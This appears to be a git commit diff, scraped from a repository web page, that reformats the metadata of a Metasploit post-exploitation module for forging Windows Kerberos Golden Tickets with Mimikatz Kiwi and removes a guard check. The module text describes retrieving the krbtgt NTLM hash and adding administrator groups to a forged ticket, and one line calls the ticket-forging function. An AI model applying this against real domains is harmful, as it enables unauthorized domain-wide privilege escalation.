Reformat, remove unnecessary guard statement
parent
0e976041b7
commit
9670608380
|
@ -10,25 +10,26 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Post::Windows::Error
|
include Msf::Post::Windows::Error
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(
|
||||||
'Name' => 'Windows Escalate Golden Ticket',
|
info,
|
||||||
'Description' => %q{
|
'Name' => 'Windows Escalate Golden Ticket',
|
||||||
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
|
'Description' => %q{
|
||||||
options are applied it will attempt to identify the current domain, the domain administrator
|
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
|
||||||
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
|
options are applied it will attempt to identify the current domain, the domain administrator
|
||||||
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
|
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
|
||||||
},
|
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
|
||||||
'License' => MSF_LICENSE,
|
},
|
||||||
'Author' => [
|
'License' => MSF_LICENSE,
|
||||||
'Ben Campbell'
|
'Author' => [
|
||||||
],
|
'Ben Campbell'
|
||||||
'Platform' => [ 'win' ],
|
],
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
'Platform' => [ 'win' ],
|
||||||
'References' =>
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
[
|
'References' =>
|
||||||
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
|
[
|
||||||
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
|
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
|
||||||
]
|
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
|
||||||
|
]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
|
@ -101,11 +102,7 @@ class Metasploit3 < Msf::Post
|
||||||
fail_with(Failure::Unknown, 'Unable to find User')
|
fail_with(Failure::Unknown, 'Unable to find User')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
unless user && domain && domain_sid && krbtgt_hash
|
|
||||||
fail_with(Failure::Unknown, 'Not all requirements obtained')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
|
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
|
||||||
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
|
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue